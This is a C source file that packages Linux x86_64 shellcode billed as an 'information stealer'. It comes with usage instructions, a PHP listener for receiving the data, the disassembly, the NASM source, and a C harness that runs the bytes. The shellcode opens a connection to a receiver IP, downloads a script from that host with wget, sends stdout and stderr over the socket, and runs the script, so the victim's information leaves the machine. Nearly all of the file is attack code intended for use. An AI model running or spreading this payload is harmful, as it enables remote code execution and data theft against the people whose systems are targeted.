/*
 # Title : Linux x86_64 information stealer
 # Date : 23-05-2016
 # Author : Roziul Hasan Khan Shifat
 # Tested On : Ubuntu 14.04 LTS x86_64
 # Contact : shifath12@gmail.com
 
*/


/*
													How does this shellcode works
												-----------------------------------
1. First it connects to the information reciver
2. then it download a sh script from http://192.168.30.129/pri.sh (server running on Kali linux)
3. duplicating stdout,stderr with socket descriptor
4. then it execute the script using sh

*/

/*

Note: the pri.sh file was in kali linux.the server was Kali linux 
client was Ubuntu
it downloads the pri.sh from kali linux 
and Executes it on Ubuntu
*/												



/*
											Requirements of this shellcode
										--------------------------------------
1.link of pri.sh (You can Found it on http://pastebin.com/V4gudKL5 ) . this script isn't mine.I've taken it from another.I customized the script
2.reciver ip									

*/


/*
											How to use this shellcode
										---------------------------------
1. Upload the pri.sh any site 
2. TO download the pri.sh , U need to Customize the wget procedure (I've marked where to customized)
3. Customize the connect procedure for connect to the reciver where i marked										
4. U need to know assembly to completed 1,2 instruction
 
*/



/*
										Reciver
										---------
To	recive the Information U may Use Netcat
If U want to view the informations on Web browser , I've a php script for U. upload it any site.


<?php

if (!($sock = socket_create(AF_INET, SOCK_STREAM, 0)))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Couldn't create socket: [$errorcode] $errormsg \n");}
echo "Socket created \n\n";

if ( !socket_bind($sock, "0.0.0.0" , 1532) )
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Could not bind socket : [$errorcode] $errormsg \n");}
echo "Socket bind OK \n\n";
if (!socket_listen ($sock , 10))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Could not listen on socket : [$errorcode] $errormsg \n");}
echo "Socket listen OK \n\n\n";

echo "Waiting for incoming connections... \n";
//Accept incoming connection - This is a blocking call
$client = socket_accept($sock);
//display information about the client who is connected
if (socket_getpeername($client , $address , $port))
{
echo "Client $address : $port is now connected to us. \n";
}
//read data from the incoming socket
while(1)
{

$i= socket_recv($client,$buf, 1024000,MSG_WAITALL);

if($i<=0)
die("\nconnection closed by $address");
else
echo $buf."\n\n";
}
?>

if U this script , the reciver ip will be the website ip									

BUT I RECOMMEND U TO USE NETCAT


*/




/*

Disassembly of section .text:

0000000000400080 <_start>:
  400080:	6a 06                	pushq  $0x6
  400082:	6a 01                	pushq  $0x1
  400084:	6a 02                	pushq  $0x2
  400086:	5f                   	pop    %rdi
  400087:	5e                   	pop    %rsi
  400088:	5a                   	pop    %rdx
  400089:	6a 29                	pushq  $0x29
  40008b:	58                   	pop    %rax
  40008c:	0f 05                	syscall 
  40008e:	48 31 db             	xor    %rbx,%rbx
  400091:	48 89 c3             	mov    %rax,%rbx
  400094:	48 31 c0             	xor    %rax,%rax
  400097:	48 31 ff             	xor    %rdi,%rdi
  40009a:	b0 39                	mov    $0x39,%al
  40009c:	0f 05                	syscall 
  40009e:	4d 31 c9             	xor    %r9,%r9
  4000a1:	4c 39 c8             	cmp    %r9,%rax
  4000a4:	74 18                	je     4000be <connect>
  4000a6:	6a 3c                	pushq  $0x3c
  4000a8:	58                   	pop    %rax
  4000a9:	0f 05                	syscall 

00000000004000ab <retry>:
  4000ab:	48 31 f6             	xor    %rsi,%rsi
  4000ae:	48 f7 e6             	mul    %rsi
  4000b1:	56                   	push   %rsi
  4000b2:	6a 3c                	pushq  $0x3c
  4000b4:	48 89 e7             	mov    %rsp,%rdi
  4000b7:	b0 23                	mov    $0x23,%al
  4000b9:	0f 05                	syscall 
  4000bb:	eb 01                	jmp    4000be <connect>
  4000bd:	c3                   	retq   

00000000004000be <connect>:
  4000be:	6a 10                	pushq  $0x10
  4000c0:	5a                   	pop    %rdx
  4000c1:	53                   	push   %rbx
  4000c2:	5f                   	pop    %rdi
  4000c3:	48 31 c0             	xor    %rax,%rax
  4000c6:	50                   	push   %rax
  4000c7:	50                   	push   %rax
  4000c8:	50                   	push   %rax
  4000c9:	c6 04 24 02          	movb   $0x2,(%rsp)
  4000cd:	66 c7 44 24 02 05 fc 	movw   $0xfc05,0x2(%rsp)
  4000d4:	c7 44 24 04 c0 a8 1e 	movl   $0x811ea8c0,0x4(%rsp)
  4000db:	81 
  4000dc:	48 89 e6             	mov    %rsp,%rsi
  4000df:	b0 2a                	mov    $0x2a,%al
  4000e1:	0f 05                	syscall 
  4000e3:	48 31 ff             	xor    %rdi,%rdi
  4000e6:	48 39 f8             	cmp    %rdi,%rax
  4000e9:	7c c0                	jl     4000ab <retry>
  4000eb:	48 31 c0             	xor    %rax,%rax
  4000ee:	48 31 f6             	xor    %rsi,%rsi
  4000f1:	48 ff c6             	inc    %rsi
  4000f4:	48 89 df             	mov    %rbx,%rdi
  4000f7:	b0 21                	mov    $0x21,%al
  4000f9:	0f 05                	syscall 
  4000fb:	48 31 c0             	xor    %rax,%rax
  4000fe:	48 ff c6             	inc    %rsi
  400101:	48 89 df             	mov    %rbx,%rdi
  400104:	b0 21                	mov    $0x21,%al
  400106:	0f 05                	syscall 
  400108:	48 31 c0             	xor    %rax,%rax
  40010b:	48 83 c0 39          	add    $0x39,%rax
  40010f:	0f 05                	syscall 
  400111:	48 31 ff             	xor    %rdi,%rdi
  400114:	4d 31 e4             	xor    %r12,%r12
  400117:	49 89 c4             	mov    %rax,%r12
  40011a:	48 39 f8             	cmp    %rdi,%rax
  40011d:	74 59                	je     400178 <wget>
  40011f:	4d 31 d2             	xor    %r10,%r10
  400122:	48 31 d2             	xor    %rdx,%rdx
  400125:	4c 89 d6             	mov    %r10,%rsi
  400128:	4c 89 e7             	mov    %r12,%rdi
  40012b:	48 31 c0             	xor    %rax,%rax
  40012e:	b0 3d                	mov    $0x3d,%al
  400130:	0f 05                	syscall 
  400132:	48 31 c0             	xor    %rax,%rax
  400135:	48 31 d2             	xor    %rdx,%rdx
  400138:	50                   	push   %rax
  400139:	50                   	push   %rax
  40013a:	c7 04 24 2f 2f 62 69 	movl   $0x69622f2f,(%rsp)
  400141:	c7 44 24 04 6e 2f 73 	movl   $0x68732f6e,0x4(%rsp)
  400148:	68 
  400149:	48 89 e7             	mov    %rsp,%rdi
  40014c:	50                   	push   %rax
  40014d:	50                   	push   %rax
  40014e:	c7 04 24 2e 70 72 69 	movl   $0x6972702e,(%rsp)
  400155:	66 c7 44 24 04 2e 73 	movw   $0x732e,0x4(%rsp)
  40015c:	c6 44 24 06 68       	movb   $0x68,0x6(%rsp)
  400161:	48 89 e6             	mov    %rsp,%rsi
  400164:	52                   	push   %rdx
  400165:	56                   	push   %rsi
  400166:	57                   	push   %rdi
  400167:	48 89 e6             	mov    %rsp,%rsi
  40016a:	48 83 c0 3b          	add    $0x3b,%rax
  40016e:	0f 05                	syscall 
  400170:	41 51                	push   %r9
  400172:	5f                   	pop    %rdi
  400173:	6a 03                	pushq  $0x3
  400175:	58                   	pop    %rax
  400176:	0f 05                	syscall 

0000000000400178 <wget>:
  400178:	48 31 c0             	xor    %rax,%rax
  40017b:	50                   	push   %rax
  40017c:	50                   	push   %rax
  40017d:	50                   	push   %rax
  40017e:	c7 04 24 2f 75 73 72 	movl   $0x7273752f,(%rsp)
  400185:	c7 44 24 04 2f 62 69 	movl   $0x6e69622f,0x4(%rsp)
  40018c:	6e 
  40018d:	c7 44 24 08 2f 2f 77 	movl   $0x67772f2f,0x8(%rsp)
  400194:	67 
  400195:	66 c7 44 24 0c 65 74 	movw   $0x7465,0xc(%rsp)
  40019c:	48 89 e7             	mov    %rsp,%rdi
  40019f:	50                   	push   %rax
  4001a0:	50                   	push   %rax
  4001a1:	50                   	push   %rax
  4001a2:	50                   	push   %rax
  4001a3:	c7 04 24 68 74 74 70 	movl   $0x70747468,(%rsp)
  4001aa:	c7 44 24 04 3a 2f 2f 	movl   $0x312f2f3a,0x4(%rsp)
  4001b1:	31 
  4001b2:	c7 44 24 08 39 32 2e 	movl   $0x312e3239,0x8(%rsp)
  4001b9:	31 
  4001ba:	c7 44 24 0c 36 38 2e 	movl   $0x332e3836,0xc(%rsp)
  4001c1:	33 
  4001c2:	c7 44 24 10 30 2e 31 	movl   $0x32312e30,0x10(%rsp)
  4001c9:	32 
  4001ca:	c7 44 24 14 39 2f 70 	movl   $0x72702f39,0x14(%rsp)
  4001d1:	72 
  4001d2:	c7 44 24 18 69 2e 73 	movl   $0x68732e69,0x18(%rsp)
  4001d9:	68 
  4001da:	48 89 e6             	mov    %rsp,%rsi
  4001dd:	48 31 d2             	xor    %rdx,%rdx
  4001e0:	50                   	push   %rax
  4001e1:	66 c7 04 24 2d 4f    	movw   $0x4f2d,(%rsp)
  4001e7:	48 89 e1             	mov    %rsp,%rcx
  4001ea:	50                   	push   %rax
  4001eb:	50                   	push   %rax
  4001ec:	c7 04 24 2e 70 72 69 	movl   $0x6972702e,(%rsp)
  4001f3:	66 c7 44 24 04 2e 73 	movw   $0x732e,0x4(%rsp)
  4001fa:	c6 44 24 06 68       	movb   $0x68,0x6(%rsp)
  4001ff:	49 89 e7             	mov    %rsp,%r15
  400202:	52                   	push   %rdx
  400203:	41 57                	push   %r15
  400205:	51                   	push   %rcx
  400206:	56                   	push   %rsi
  400207:	57                   	push   %rdi
  400208:	48 89 e6             	mov    %rsp,%rsi
  40020b:	b0 3b                	mov    $0x3b,%al
  40020d:	0f 05                	syscall 




*/





/*


section .text
	global _start
;-----------------



_start:

;socket()
push 6
push 1
push 2

pop rdi
pop rsi
pop rdx

push 41
pop rax
syscall

;------------------

xor rbx,rbx
mov rbx,rax ;socket descriptor

;-------------
xor rax,rax
xor rdi,rdi

mov al,57
syscall

xor r9,r9

cmp rax,r9
jz connect

push byte 60
pop rax
syscall



retry:

xor rsi,rsi
mul rsi

push rsi
push byte 60 ;1 min ( change it if U want )

mov rdi,rsp

mov al,35
syscall

jmp connect
ret



connect:

;connect()
push 16
pop rdx

push rbx
pop rdi

xor rax,rax
push rax
push rax
push rax

mov [rsp],byte 2

;-----------------------------------
;customize these staetments
mov [rsp+2],word 0xfc05 ;port 1532 ( U may change it, As U wish )
mov [rsp+4],dword 0x811ea8c0 ;ip of reciver (must change it)
;--------------------------------------


mov rsi,rsp

mov al,42
syscall

xor rdi,rdi
cmp rax,rdi
jl retry 




;------------dup2(sd,1)

xor rax,rax
xor rsi,rsi
inc rsi

mov rdi,rbx

mov al,33
syscall

;------------

;------------dup2(sd,2)

xor rax,rax

inc rsi

mov rdi,rbx

mov al,33
syscall

;------------
;fork()

xor rax,rax
add rax,57
syscall

xor rdi,rdi
xor r12,r12

mov r12,rax ;pid
cmp rax,rdi

jz wget

;---------------
;wait4()

xor r10,r10 ;null
xor rdx,rdx ;null
mov rsi,r10 ;status
mov rdi,r12 ;pid

xor rax,rax
mov al,61
syscall



;;
;-------------------------
 
;execve("//bin/sh",{"//bin/sh",".pri.sh",NULL},NULL);

xor rax,rax
xor rdx,rdx
push rax
push rax


mov [rsp],dword '//bi'
mov [rsp+4],dword 'n/sh'


mov rdi,rsp


push rax
push rax 

mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'
mov rsi,rsp

push rdx
push rsi
push rdi

mov rsi,rsp

add rax,59
syscall
;--------
;close(fd)

push r9
pop rdi

push 3
pop rax
syscall




wget:
;execve("/usr/bin//wget",{"/usr/bin//wget","http ://1 92.1 68.3 0.12 9/pr i.sh","-O",".pri.sh",NULL},NULL)

xor rax,rax


push rax
push rax
push rax

mov [rsp],dword '/usr'
mov [rsp+4],dword '/bin'
mov [rsp+8],dword '//wg'
mov [rsp+12],word 'et'

mov rdi,rsp

push rax
push rax
push rax
push rax

;----------------------
;cusmizetd these statements for the link of pri.sh
mov [rsp],dword 'http'
mov [rsp+4],dword '://1'
mov [rsp+8],dword '92.1'
mov [rsp+12],dword '68.3'
mov [rsp+16],dword '0.12'
mov [rsp+20],dword '9/pr'
mov [rsp+24],dword 'i.sh'
;------------------------

mov rsi,rsp
xor rdx,rdx

push rax
mov [rsp],word '-O'
mov rcx,rsp

push rax
push rax

mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'

mov r15,rsp






push rdx
push r15
push rcx
push rsi
push rdi

mov rsi,rsp

mov al,59
syscall


*/













#include<stdio.h>
#include<string.h>



char shellcode[]="\x6a\x06\x6a\x01\x6a\x02\x5f\x5e\x5a\x6a\x29\x58\x0f\x05\x48\x31\xdb\x48\x89\xc3\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x74\x18\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x6a\x3c\x48\x89\xe7\xb0\x23\x0f\x05\xeb\x01\xc3\x6a\x10\x5a\x53\x5f\x48\x31\xc0\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xfc\xc7\x44\x24\x04\xc0\xa8\x1e\x81\x48\x89\xe6\xb0\x2a\x0f\x05\x48\x31\xff\x48\x39\xf8\x7c\xc0\x48\x31\xc0\x48\x31\xf6\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\x48\x31\xff\x4d\x31\xe4\x49\x89\xc4\x48\x39\xf8\x74\x59\x4d\x31\xd2\x48\x31\xd2\x4c\x89\xd6\x4c\x89\xe7\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x41\x51\x5f\x6a\x03\x58\x0f\x05\x48\x31\xc0\x50\x50\x50\xc7\x04\x24\x2f\x75\x73\x72\xc7\x44\x24\x04\x2f\x62\x69\x6e\xc7\x44\x24\x08\x2f\x2f\x77\x67\x66\xc7\x44\x24\x0c\x65\x74\x48\x89\xe7\x50\x50\x50\x50\xc7\x04\x24\x68\x74\x74\x70\xc7\x44\x24\x04\x3a\x2f\x2f\x31\xc7\x44\x24\x08\x39\x32\x2e\x31\xc7\x44\x24\x0c\x36\x38\x2e\x33\xc7\x44\x24\x10\x30\x2e\x31\x32\xc7\x44\x24\x14\x39\x2f\x70\x72\xc7\x44\x24\x18\x69\x2e\x73\x68\x48\x89\xe6\x48\x31\xd2\x50\x66\xc7\x04\x24\x2d\x4f\x48\x89\xe1\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x49\x89\xe7\x52\x41\x57\x51\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05";       /* insert shellcode here */


int main()
{
printf("shellcode length %ld",( unsigned long ) strlen(shellcode));

( * (int(*)()) shellcode) ();

}
